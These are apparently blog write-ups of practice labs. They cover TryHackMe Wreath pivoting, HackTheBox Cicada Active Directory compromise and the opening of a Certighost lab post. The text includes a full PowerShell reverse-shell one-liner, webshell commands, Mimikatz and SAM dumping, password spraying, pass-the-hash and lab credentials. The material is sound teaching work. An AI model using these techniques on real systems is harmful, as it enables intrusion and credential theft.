TryHackMe Wreath

Difficulty: Easy…i think OS: CentOS / Windows Server 2019 Platform: TryHackMe Category: Network Pivoting Status: In Progress (Part 1 of 2)

Overview

Wreath is a full network pivoting room, not a single box. The premise is simple: compromise a public facing CentOS server, then use it as a bridge to reach an internal Windows network that has zero direct route back to the attacker. Part 1 covers everything up to landing a stable SYSTEM shell on the second host. Part 2 picks up with persistence, evil-winrm, RDP, and Mimikatz.

Two unauthenticated RCEs, one static nmap binary, and a socat relay chained through firewalld. No exploit dev, all public CVEs, all about chaining them correctly ¯\_(ツ)_/¯

Reconnaissance

nmap -sV -sS -T4 -A -Pn 10.200.180.200

22/tcp    open   ssh        OpenSSH 8.0 (protocol 2.0)
80/tcp    open   http       Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1c)
|_http-title: Did not follow redirect to https://thomaswreath.thm
443/tcp   open   ssl/http   Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1c)
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Thomas Wreath | Developer
9090/tcp  closed zeus-admin
10000/tcp open   http       MiniServ 1.890 (Webmin httpd)

Port 80 redirects to https://thomaswreath.thm, so that goes into /etc/hosts before anything else:

echo "10.200.180.200 thomaswreath.thm" | sudo tee -a /etc/hosts

The site’s a personal portfolio for a developer and sysadmin named Thomas Wreath. Banked immediately: his name as a likely username anywhere else, and the email on the contact page. People who build their own portfolio tend to reuse the same identity everywhere.

Gobuster came back with nothing worth chasing:

gobuster dir -u https://thomaswreath.thm/ -w /usr/share/wordlists/dirb/common.txt -k

Foothold — Webmin RCE (CVE-2019-15107)

Port 10000 throws a Webmin login page. Server header hands over the exact version:

Server: MiniServ/1.890

Webmin 1.890 through 1.920 shipped with a backdoor baked directly into password_change.cgi, tracked as CVE-2019-15107. 1.890 specifically is exploitable completely unauthenticated, no special config needed.

Metasploit’s got a module for it:

10  exploit/linux/http/webmin_backdoor

use exploit/linux/http/webmin_backdoor
set RHOSTS 10.200.180.200
set RPORT 10000
set SSL true

Confirmed the password reset page is actually reachable first, since that’s what makes the backdoor exploitable:

https://10.200.180.200:10000/password_change.cgi

Fired it:

run

[+] The target is vulnerable. Exploitable: version 1.890 is vulnerable
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 1 opened

cmd/unix/reverse_perl is the default here because Webmin’s Perl based, so Perl’s guaranteed to exist regardless of what else is or isn’t installed on the box.

Upgraded to Meterpreter:

sessions -u 1

meterpreter > getuid
Server username: root

Root, off the first exploit. No privesc chain needed at all.

meterpreter > sysinfo
Computer     : prod-serv
OS           : CentOS 8.2.2004 (Linux 4.18.0-193.28.1.el8_2.x86_64)

cat /etc/passwd
cat /etc/shadow

Confirms a second real user, twreath, matching the portfolio site. Both hashes pulled here, though neither actually matters for what comes next.

Persistent Root Access

The root hash isn’t crackable, unsalted or not it’s a strong SHA-512 hash rockyou isn’t touching. So, SSH keys, found in /root/.ssh:

cd /root/.ssh
ls

authorized_keys  id_rsa  id_rsa.pub  known_hosts

Already a keypair staged on the box. First instinct, generate a fresh one:

ssh-keygen -t rsa -b 4096 -f ~/.ssh/wreath_key

Mistake. Since this ran inside the shell already sitting on the target, the keypair generated there, not on Kali. Confirmed via hostname returning prod-serv. Private key needs to live on the attacker box, full stop.

Tried appending the new key anyway:

cat wreath_key.pub >> authorized_keys

Operation not permitted

Even as root. Checked SELinux since CentOS enforces by default:

getenforce      # Enforcing
setenforce 0    # Permissive

Still failed in permissive mode, so SELinux wasn’t the actual blocker. Immutable attribute or a shell redirection quirk, worth revisiting with lsattr another time, but not worth the fight since there was a way simpler path already sitting there.

The pre-existing id_rsa.pub was already listed in authorized_keys, comment root@tm-prod-serv:

cat id_rsa.pub
cat authorized_keys

Identical. Already trusted, no write needed. Just take the private key:

cat id_rsa

Pasted onto Kali:

nano ~/.ssh/id_rsa_wreath
chmod 600 ~/.ssh/id_rsa_wreath

ssh -i ~/.ssh/id_rsa_wreath root@thomaswreath.thm

[root@prod-serv ~]#

Clean root, no password, survives the reverse shell dying entirely.

Enumerating the Internal Network

Nmap isn’t installed on prod-serv. Static binary, quick python webserver to move it over:

sudo python3 -m http.server 80

curl 10.250.180.8/nmap-USERNAME -o /tmp/nmap-USERNAME && chmod +x /tmp/nmap-USERNAME

Ping sweep:

./nmap-USERNAME -sn 10.200.180.1-255 -oN scan-USERNAME

Five hosts up. .1 is AWS infra, .250 is the OpenVPN server, both out of scope per the room rules. .200 is prod-serv itself. That leaves .100 and .150.

./nmap-USERNAME -sS 10.200.180.100 -oN scan-100-USERNAME
./nmap-USERNAME -sS 10.200.180.150 -oN scan-150-USERNAME

.100 fully filtered, nothing to work with. .150:

80/tcp   open  http
3389/tcp open  ms-wbt-server
5985/tcp open  wsman

RDP and WinRM open means Windows. The interesting one is actually the plain HTTP service, RDP and WinRM are narrow, well documented attack surfaces on a patched box, but an unidentified web service could be anything, and given Thomas is a developer, custom code on that port is a real bet.

To reach .150 from a browser, went with sshuttle over chisel or a straight socat forward, since CentOS’s firewalld is locked down tight and would’ve fought a direct port forward:

sshuttle -r root@thomaswreath.thm --ssh-cmd "ssh -i ~/.ssh/id_rsa_wreath" 10.200.180.0/24 -x 10.200.180.200

-x matters, sshuttle breaks with a broken pipe error if the box you’re tunnelling through sits inside the subnet you’re forwarding.

GitStack RCE (2.3.10)

Browsing 10.200.180.150 on port 80 threw a Django debug 404, which was actually a gift, it leaked the URL patterns:

^registration/login/$
^gitstack/
^rest/

GitStack, a self-hosted Git server manager built on Django. Login page displays its own default creds in the UI, admin/admin. Don’t work obviously, the room even winks at you about it.

Searchsploit turns up three, the one that matters is the Python RCE for 2.3.10:

searchsploit gitstack
searchsploit -m 43777

Fixed the DOS line endings from the Windows-authored original:

dos2unix ./43777.py

Header confirms written 18.01.2018. No round brackets on the print statements means Python2:

#!/usr/bin/python2

chmod +x 43777.py

Set target IP, renamed both exploit.php references so the webshell doesn’t clash with anyone else’s on the box:

ip = '10.200.180.150'

Ran it:

./43777.py

[+] Get user list
[+] Found user twreath
[+] Create backdoor in PHP
[+] Execute command
"nt authority\system"

SYSTEM, straight off the exploit, no privesc chain here either. The “credentials not entered correctly” line that shows up mid-run is just noise from the auth attempt during backdoor creation, ignore it.

Also, twreath shows up as a valid user on GitStack too. Same person, same creds, two separate services, two separate machines. This whole environment is built around one guy’s credential reuse habits, which honestly, realistic ಠ_ಠ

Quiet Post-Exploitation

Re-running the full exploit for every command is loud. It already dropped a webshell, so from here it’s just:

curl -X POST http://10.200.180.150/web/exploit-USERNAME.php -d "a=COMMAND"

curl -X POST http://10.200.180.150/web/exploit-USERNAME.php -d "a=hostname"

"git-serv"

systeminfo confirms Windows Server 2019 Standard, build 17763, standalone.

Building the Relay

Checked whether git-serv can reach Kali at all first:

sudo tcpdump -i tun0 icmp

curl -X POST http://10.200.180.150/web/exploit-USERNAME.php -d "a=ping -n 3 10.250.180.8"

Packets: Sent = 3, Received = 0, Lost = 3 (100% loss)

Zero route out. Straight reverse shell was never happening, needs to relay through prod-serv, the only box with a foot in both networks.

Opened a port on prod-serv’s firewall:

firewall-cmd --zone=public --add-port=16000/tcp

First attempt forgot fork:

./socat tcp-l:16000 tcp:10.250.180.8:4444 &

Handled one connection and died silently, only noticed when jobs later showed [1]+ Done. Fixed version:

./socat tcp-l:16000,fork,reuseaddr tcp:10.250.180.8:4444 &

Listener on Kali, rlwrap this time since raw netcat has no line editing:

sudo rlwrap nc -lvnp 4444

Fired the PowerShell reverse shell through the webshell, pointed at prod-serv’s relay port since that’s the only address git-serv can actually reach:

curl -X POST [http://10.200.180.150/web/exploit-qxvat7r.php](http://10.200.180.150/web/exploit-qxvat7r.php) --data-urlencode "a=powershell.exe -c "$client = New-Object System.Net.Sockets.TCPClient('10.200.180.200',16000);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()""

And then boom baby…we in.

PS C:\GitStack\gitphp> whoami
nt authority\system

Clean, stable, still SYSTEM, relayed across a network segment that couldn’t talk to me directly.

Confirming the Privilege Level

Before creating any accounts, worth confirming exactly what the session can do. whoami alone only tells you who, not what:

whoami /all

User Name           SID
=================== ========
nt authority\system S-1-5-18
 
Group Name                Type    SID
BUILTIN\Administrators    Alias   S-1-5-32-544    Enabled by default, Group owner
 
Privilege Name          State
SeTcbPrivilege           Enabled
SeDebugPrivilege         Enabled
SeImpersonatePrivilege   Enabled

Member of BUILTIN\Administrators, SeDebugPrivilege and SeImpersonatePrivilege both enabled. Everything needed to create an account, drop it into Administrators, and load Mimikatz later without fighting anything.

Creating a Persistent Account

Ports 3389 and 5985 were already confirmed open in Part 1, RDP and WinRM. Either gives a way more stable foothold than a relayed webshell, but both need an actual user account rather than the service context currently held. RDP needs Remote Desktop Users or Administrators, WinRM needs Remote Management Users.

Since the session’s already SYSTEM, creating the account is trivial:

net user dizzyking4 IamPeak! /add
net localgroup Administrators dizzyking4 /add
net localgroup "Remote Management Users" dizzyking4 /add

The command completed successfully.
The command completed successfully.
The command completed successfully.

Doesn’t persist through a room reset, which is fine, the goal’s stable access for the engagement, not a permanent backdoor into a lab box.

Accessing over WinRM

evil-winrm isn’t default on Kali:

sudo gem install evil-winrm

evil-winrm -u dizzyking4 -p 'IamPeak!' -i 10.200.180.150

Evil-WinRM shell v3.9
*Evil-WinRM* PS C:\Users\dizzyking4\Documents> whoami
git-serv\dizzyking4

Worth flagging, evil-winrm typically hands back a medium integrity shell for a newly added account even when it’s sitting in Administrators. Group membership alone doesn’t equal an elevated token over WinRM, UAC still applies. whoami /priv here only shows baseline privileges, nowhere near what the relayed SYSTEM shell had.

Fine for now though, WinRM’s the stable day to day access point going forward. RDP’s needed for the next bit.

RDP and a Shared Drive for Tooling

xfreerdp /v:10.200.180.150 /u:dizzyking4 /p:'IamPeak!' +clipboard /dynamic-resolution /cert:ignore /drive:/usr/share/windows-resources,share

/drive is doing the real work here. Mounts a Kali directory as a network share visible inside the RDP session, so tooling never needs manually uploading. /usr/share/windows-resources already ships Mimikatz, PowerShell Empire, and a bunch of other Windows post-ex tools pre-staged, so pointing the share straight at it gives instant access from inside the GUI.

Running Mimikatz

Opened PowerShell as Administrator inside the RDP session (matters, Mimikatz needs an elevated process to do anything) and ran it off the mounted share:

\\tsclient\share\mimikatz\x64\mimikatz.exe

Loaded, next need the Debug privilege and elevate the token’s integrity to SYSTEM. Administrator rights and SYSTEM aren’t the same thing, and dumping SAM needs the latter:

privilege::debug
token::elevate

Privilege '20' OK
 
668  {0;000003e7} 1 D 19934        NT AUTHORITY\SYSTEM   S-1-5-18   Primary
 -> Impersonated !
* Process Token : GIT-SERV\dizzyking4
* Thread Token  : NT AUTHORITY\SYSTEM   Impersonation (Delegation)

Token elevated. Full local SAM dump:

lsadump::sam

Domain     : GIT-SERV
SysKey     : 0841f6354f4b96d21b99345d07b66571
Local SID  : S-1-5-21-3335744492-1614955177-2693036043
 
RID  : 000001f4 (500)
User : Administrator
Hash NTLM: 37db630168e5f82aafa8461e05c6bbd1

RID  : 000003e9 (1001)
User : Thomas
Hash NTLM: 02d90eda8f6b6b06c32d5f207831101f

RID  : 000003ea (1002)
User : dizzyking4
Hash NTLM: eea40fb6e68bc601f61a70b152f7608a

Three local accounts, three hashes. Administrator, the built in local admin, dizzyking4, the account created earlier this session, and Thomas, a genuine second local user that hadn’t shown up anywhere else in the room so far.

Cracking Thomas’ Hash

Administrator’s hash isn’t going anywhere, a properly random local admin password on a hardened box won’t fall to a wordlist in any sane timeframe.

Thomas’ is a different story. NTLM’s unsalted, meaning identical passwords always produce identical hashes regardless of machine or account. CrackStation exploits exactly that, a massive precomputed database of password-to-hash mappings, instant lookup rather than actual cracking:

02d90eda8f6b6b06c32d5f207831101f

Instant hit:

Password: i<3ruby

Never do this against a real client hash in an actual engagement btw, submitting live credential material to a third party site is a data handling violation on its own regardless of whether it cracks. Real equivalent is Hashcat locally or dedicated cracking hardware your own org controls. CrackStation’s fine here purely because it’s an isolated lab built for exactly this demo.

What Did We Learn?

1. Group Membership ≠ Privilege Level

evil-winrm handing back a medium integrity shell for a freshly created Administrator account trips a lot of people up. Being in the Administrators group doesn’t automatically mean an elevated token over WinRM, UAC still applies regardless.

2. /drive in xfreerdp Removes the Upload Problem Entirely

Once RDP access exists, everything on the attacking machine becomes instantly available from inside the GUI session. No manual transfer, no webshell upload dance, just point it at your toolbox.

3. Unsalted NTLM Is Exactly As Weak As Its Reputation

If a hash shows up in a common password database, the lookup is genuinely instant. No cracking required, no wordlist needed, just a database query.

4. Always Verify the Effective Token, Not Just Group Membership

whoami /priv is the actual source of truth. Group membership tells you what’s assigned, the token tells you what’s active.

5. RCE Doesn’t Mean Privesc Is Needed

Both Webmin and GitStack handed over SYSTEM/root immediately, no chain required. Worth checking whoami/getuid right after any exploit lands, sometimes the job’s already done.

6. Check hostname Before Trusting Where You Are

Generating SSH keys from inside a reverse shell puts the private key on the wrong machine if you’re not paying attention. hostname before ssh-keygen, every time.

7. An Unidentified Service Beats a Well Known One

Between RDP, WinRM, and a bare HTTP service on an unfamiliar port, the HTTP service was the right bet. Narrow, well documented Microsoft protocols on a patched box are a worse target than an unknown web app, especially on a dev’s machine.

8. fork on a Socat Relay Isn’t Optional

Forget it and the relay serves exactly one connection then dies quiet. jobs showing [1]+ Done instead of a running process is the tell.

9. Credential Reuse Is the Real Vulnerability Here

Neither exploit needed credentials, but twreath showing up as a valid user on two completely separate services across two machines says everything about how this environment’s actually built.

Thomas’ recovered password is very likely reusable elsewhere in this environment, which is exactly the kind of lead that turns into the next phase of a real engagement. Whether that gets pulled on inside this room or a follow up post depends on where the rest of Wreath goes from here.

TILL NEXT TIMEEE

HTB Cicada

Difficulty: Easy
OS: Windows Server 2022
Platform: HackTheBox
Category: Active Directory
Status: Active

Overview

Cicada is a clean, no-exploit-code chain built entirely on default credentials and enumeration discipline. It starts with an anonymously readable SMB share leaking a new-hire default password, pivots through a Guest-authenticated RID brute-force once anonymous SAMR access turns out to be locked down, sprays the leaked password across real usernames, chains two more credential leaks (a user description field, then a hardcoded credential in a backup script), and finishes with SeBackupPrivilege abuse to dump the local SAM and pass-the-hash as Administrator.

Every step is the good ol typical “DON’T PUT CREDS IN YOUR SMB SHARES!!!” scenario. Nothing here needed a CVE.

Reconnaissance

Nmap

nmap -sS -sV -T4 -A -Pn 10.129.231.149

The scan identifies a Windows Server 2022 domain controller exposing the typical Active Directory services:

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-08-29 17:34:33Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-08-29T17:36:22+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
|_ssl-date: 2026-08-29T17:36:21+00:00; +6h59m59s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
|_ssl-date: 2026-08-29T17:36:22+00:00; +6h59m59s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
|_ssl-date: 2026-08-29T17:36:21+00:00; +7h00m00s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
57349/tcp open  msrpc         Microsoft Windows RPC

Domain: cicada.htb
Domain Controller: CICADA-DC
OS: Windows Server 2022 Build 20348

echo "10.129.231.149 cicada-dc.cicada.htb cicada.htb" | sudo tee -a /etc/hosts

Starting credentials: none. Fully unauthenticated start.

Enumeration

enum4linux — Null Session, Mostly Locked Down

enum4linux -a -r -K 5000 10.129.231.149

The null session connects successfully:

The domain SID also resolves successfully, identifying the CICADA domain.

However, the SAMR-backed enumeration attempts are denied:

NT_STATUS_ACCESS_DENIED

This affects:

• querydispinfo
• enumdomusers
• RID cycling
• Password policy enumeration
• Group enumeration
• Other SAMR-backed queries

Anonymous share enumeration through the same path is also denied.

This is consistent with RestrictAnonymousSAM.

Confirm null authentication with NetExec:

nxc smb 10.129.231.149 -u '' -p ''

SMB   10.129.231.149  445  CICADA-DC  Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB   10.129.231.149  445  CICADA-DC  [+] cicada.htb\:

Null authentication is accepted for the SMB connection itself, but SAMR enumeration remains restricted.

The important takeaway is that anonymous SMB authentication being accepted does not mean anonymous access to every SMB/RPC function is available.

Foothold — An Anonymous Share Leaks a Default Password…typical ;)

Listing Shares Directly

The --shares functionality of some enumeration tools can encounter restrictions through RPC/SAMR paths. A direct SMB tree connection provides another route for testing share access:

smbclient -N -L //10.129.231.149/

The server exposes:

Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
DEV             Disk
HR              Disk
IPC$            IPC       Remote IPC
NETLOGON        Disk      Logon server share
SYSVOL          Disk      System Volume

Two non-default shares immediately stand out:

• DEV
• HR

Test DEV:

smbclient -N //10.129.231.149/DEV -c 'ls'

Access is denied.

Test HR:

smbclient -N //10.129.231.149/HR -c 'ls'

Notice from HR.txt   A   1266   Wed Aug 28 17:31:48 2024

The HR share is anonymously readable.

Reading the Notice

smbclient -N //10.129.231.149/HR -c 'get "Notice from HR.txt"'

cat "Notice from HR.txt"

The file contains a new-hire welcome notice containing a default password:

Your default password is: Cicada$M6Corpb*@Lp#nZp!8

The password is valuable, but there is no username attached to it.

At this point, anonymous SAMR enumeration is still blocked, so the next objective is finding a way to enumerate domain users.

Enumeration — Guest Auth Unlocks What Null Auth Couldn’t

Anonymous SAMR vs Guest SAMR

RestrictAnonymousSAM filters the ANONYMOUS LOGON security identity:

S-1-5-7

This is different from authenticating as an actual account.

The Guest account is a real security principal. Even though it has extremely limited privileges, authenticating as Guest gives the server a different security context from anonymous access.

nxc smb 10.129.231.149 -u 'guest' -p '' --rid-brute 10000

The domain begins resolving real objects:

The important user accounts are:

john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars

The Dev Support group is also interesting because it potentially explains access to the previously inaccessible DEV share.

Password Spraying the Leaked Default Password

Create a user list:

cat > users.txt <<'EOF'
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars
EOF

Spray the leaked default password:

nxc smb 10.129.231.149 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'

The result identifies a valid credential:

[-] cicada.htb\john.smoulder:...        STATUS_LOGON_FAILURE
[-] cicada.htb\sarah.dantelia:...       STATUS_LOGON_FAILURE
[+] cicada.htb\michael.wrightson:...

The successful credential is:

michael.wrightson
Cicada$M6Corpb*@Lp#nZp!8

Michael never changed the onboarding password…sigh ಠ_ಠ

Lateral Movement

Leak #1 — A Password Sitting in a Description Field

Authenticated SAMR access now provides considerably more information than the anonymous session.

nxc smb 10.129.231.149 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --users

Among the returned user information is a description containing another plaintext credential:

david.orelious   2024-03-14 12:17:29   0   Just in case I forget my password is aRt$Lp#7t*VQ!3

The credential is:

Username: david.orelious
Password: aRt$Lp#7t*VQ!3

This is a classic example of sensitive credentials being stored in an Active Directory user description.

Leak #2 — A Hardcoded Credential in a Backup Script

Use David’s credentials against the DEV share:

smbclient -U 'cicada.htb\david.orelious%aRt$Lp#7t*VQ!3' //10.129.231.149/DEV -c 'ls'

The previously inaccessible share now reveals:

Backup_script.ps1   A   601   Wed Aug 28 17:28:22 2024

Download the script:

smbclient -U 'cicada.htb\david.orelious%aRt$Lp#7t*VQ!3' //10.129.231.149/DEV -c 'get Backup_script.ps1'

The script contains another hardcoded credential:

This gives us the third account in the credential chain:

Username: emily.oscars
Password: Q!3@Lp#M6b*7t*Vt

User Flag

Enumerating Emily’s Group Membership

nxc ldap 10.129.231.149 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt' --groups

The account belongs to:

Backup Operators

The group description is significant:

Backup Operators can override security restrictions for the sole purpose of backing up or restoring files

Obtaining a WinRM Shell

evil-winrm -i 10.129.231.149 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'

Check the user’s privileges:

whoami /priv

The important entries are:

SeBackupPrivilege    Back up files and directories   Enabled
SeRestorePrivilege   Restore files and directories   Enabled

Both privileges are actually Enabled, not merely assigned to the account.

Capturing the User Flag

cd C:\Users\emily.oscars.CICADA\Desktop
type user.txt

[REDACTED]

User flag captured. ✅

Privilege Escalation — SeBackupPrivilege to Local Administrator

Dumping the SAM and SYSTEM Hives

SeBackupPrivilege allows a process to read protected files for backup purposes, bypassing normal filesystem ACL restrictions in the appropriate security context.

reg save hklm\sam C:\Windows\Temp\sam.save
reg save hklm\system C:\Windows\Temp\system.save

The SECURITY hive is not required for this attack path.

Downloading the Hives

From the Evil-WinRM session:

cd C:\Windows\Temp

Download both files:

download sam.save
download system.save

Downloading from C:\Windows\Temp after changing into the directory avoids path/escaping issues with Windows paths.

Extracting the Local Administrator Hash

Use Impacket’s secretsdump.py locally:

secretsdump.py -sam sam.save -system system.save LOCAL

The extracted local Administrator account contains an NTLM hash:

The important value is the NTLM hash:

2b87e7c93a3e8a0ea4a581937016f341

This is a local SAM credential, not a domain database credential.

Root Flag

Pass-the-Hash

evil-winrm -i 10.129.231.149 -u Administrator -H '2b87e7c93a3e8a0ea4a581937016f341'

Navigate to the Administrator desktop:

cd C:\Users\Administrator\Desktop
type root.txt

[REDACTED]

Root flag captured. Box pwned. ✅

Full Attack Chain

Anonymous SMB session
        |
        | RestrictAnonymousSAM blocks anonymous SAMR enumeration
        |
        v
Direct SMB share enumeration
        |
        v
HR share readable anonymously
        |
        v
"Notice from HR.txt"
        |
        v
Default password discovered
        |
        v
Guest authentication
        |
        | Guest is a real security principal
        |
        v
RID brute-force
        |
        v
Domain usernames discovered
        |
        v
Password spray
        |
        v
michael.wrightson
        |
        v
Authenticated SAMR enumeration
        |
        v
david.orelious password exposed
in user description
        |
        v
david.orelious
        |
        v
DEV share access
        |
        v
Backup_script.ps1
        |
        v
emily.oscars credentials
hardcoded in script
        |
        v
emily.oscars
        |
        v
Backup Operators
        |
        v
SeBackupPrivilege
        |
        v
reg save SAM + SYSTEM
        |
        v
secretsdump.py
        |
        v
Local Administrator NTLM hash
        |
        v
Pass-the-Hash
        |
        v
Administrator shell
        |
        v
ROOT FLAG

What Did We Learn?

1. Anonymous SMB Access and Anonymous SAMR Access Are Different

RestrictAnonymousSAM controls access to SAMR operations for the ANONYMOUS LOGON identity.

It does not automatically mean that every SMB share is inaccessible anonymously.

A server can therefore have:

Anonymous SMB connection    -> allowed
Anonymous SAMR enumeration   -> denied
Anonymous HR share access    -> allowed

Getting denied by enum4linux does not necessarily mean there is nothing else to enumerate.

Directly testing SMB shares can reveal a completely different attack surface.

2. Guest Is a Real Identity; Anonymous Is Not

The distinction between:

ANONYMOUS LOGON

and:

CICADA\Guest

is extremely important.

Anonymous access represents the absence of an authenticated account.

Guest, on the other hand, is an actual security principal with its own SID.

Therefore, a policy restricting anonymous SAMR access can behave differently when the request comes from Guest.

In this case:

Anonymous -> SAMR denied
Guest     -> RID enumeration succeeds

That difference completely changes the enumeration options available to the attacker.

3. RID Brute-Forcing Does Not Require a Username Wordlist

Once an authenticated identity can interact with SAMR, RID brute-forcing can enumerate domain objects by querying sequential RIDs.

Instead of guessing usernames from a wordlist, the attack can discover objects by walking the domain’s RID space.

This exposed:

john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars

Enumeration discipline is often more valuable than immediately reaching for an exploit.

4. Description Fields Can Become Informal Password Managers

David’s password was stored directly inside his Active Directory description:

Just in case I forget my password is ...

User descriptions are frequently overlooked during enumeration.

Whenever authenticated directory/SAMR access becomes available, inspect user metadata for:

• Passwords
• API keys
• Notes
• Internal URLs
• Temporary credentials
• Operational instructions
• Other sensitive information

5. Backup Scripts Are Common Places to Find Hardcoded Credentials

The DEV share contained a PowerShell backup script with a plaintext credential.

The script contained:

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force

Scripts associated with:

• Backups
• Scheduled tasks
• Automation
• Deployment
• Service accounts
• Maintenance

are worth inspecting during an authorized assessment because credentials are sometimes embedded directly into them.

6. Backup Operators Can Provide a Full Local Compromise Path

The Emily account belonged to:

Backup Operators

and had:

SeBackupPrivilege
SeRestorePrivilege

enabled.

The important lesson is that group membership alone is not enough. Always verify the effective token:

whoami /priv

In this case:

SeBackupPrivilege    Enabled
SeRestorePrivilege   Enabled

With SeBackupPrivilege, protected registry hives can be backed up and extracted offline.

The resulting chain:

SeBackupPrivilege
        ↓
SAM + SYSTEM
        ↓
NTLM hashes
        ↓
Administrator hash
        ↓
Pass-the-Hash
        ↓
Administrator access

requires no CVE or memory-corruption exploit.

SAYONARAAA!!!

Certighost: How CVE-2026-54121 Turns a Domain User Into a Domain Controller

CVE: CVE-2026-54121 (Certighost) Patched: July 14, 2026 OS: Windows Server 2025 Topics: AD CS, Certificate Abuse, Privilege Escalation, DCSync, PKINIT

Overview

TODAY’S TOPIC IS WAFFLES!!! (^o^)/

Every few months something drops that makes the AD CS attack surface feel like it just got wider. Certipy and the ESC series taught the community to look for misconfigured templates, weak enrollment rights, manager approval left unchecked. The assumption across all of those was that something had to be wrong before you could exploit it.

CVE-2026-54121, nicknamed Certighost, does not need anything to be wrong. No bad template, no excessive enrollment right, nothing misconfigured. It attacks the CA’s own identity resolution logic directly, and on a default install, that logic already trusts the wrong thing.

Reported by Aniq Fakhrul and Muhammad Ali. PoC dropped July 24. CVSS 8.8. I built a lab and ran this end to end, and this post covers both the technical breakdown and the actual process of getting there, including all the environment issues I hit along the way.

How the Chase Works

Enterprise CAs sometimes need to resolve who is actually requesting a certificate, especially in cross-DC enrollment scenarios where the requester’s identity is not sitting directly in front of the CA. Microsoft built a fallback for this called the chase. The CA reaches out to another host to fetch the identity it needs.

Two attributes in the cert request steer this chase, and both are attacker controlled:

• cdc (Client DC): the host the CA should contact
• rmd (Remote Domain): the principal the CA should look up

Supply both, point cdc at a machine you control, and the CA opens SMB and LDAP connections to your machine, asks it about the principal named in rmd, and takes the answer at face value when building your certificate.

Where It Actually Breaks

The rogue chase host still has to authenticate to the CA before any of this matters. That should be the part that saves you. It is not, because of one detail that is on by default: ms-DS-MachineAccountQuota. Set to 10 by default, meaning any authenticated domain user can create a computer account with zero additional privilege.

That is your rogue chase host. You spin it up, point the CA’s chase at it via cdc, and when the CA comes knocking, your ghost machine account authenticates cleanly through the real DC over Netlogon. Then it lies. Instead of answering with its own identity, it hands back the sAMAccountName, SID, and dNSHostName of whatever DC you named in rmd.

The CA has no reason to question it. It resolved a valid domain principal through a valid channel. So it signs a certificate, except the identity baked into that certificate belongs to a Domain Controller.

From there the chain is short. PKINIT the cert to get Kerberos credentials for the DC’s machine account. Since DCs hold directory replication rights, DCSync straight to the krbtgt hash. Standard domain user, to ghost machine account, to CA-signed DC certificate, to full domain compromise. No template abuse, no misconfiguration, nothing unusual about the install.

Lab Setup

Two VMs: a Windows Server 2025 box running AD DS and AD CS as an Enterprise Root CA (hostname WAFFLES, domain KING.local, CA name KING-WAFFLES-CA), and Kali as the attacker. (Waffles is a nickname for a special someone (✿◠‿◠) )

Certighost specifically needs an Enterprise CA, not Standalone. The chase behavior is tied to domain-integrated cert issuance. Verify with:

certutil -CAInfo

Look for CA type: 0 -- Enterprise Root CA. Also confirm EDITF_ENABLECHASECLIENTDC is present in the EditFlags:

certutil -getreg policy\EditFlags

If that flag is missing, the chase fallback is disabled and this exploit path does not exist on that CA. On my unpatched Server 2025 box it was enabled by default.

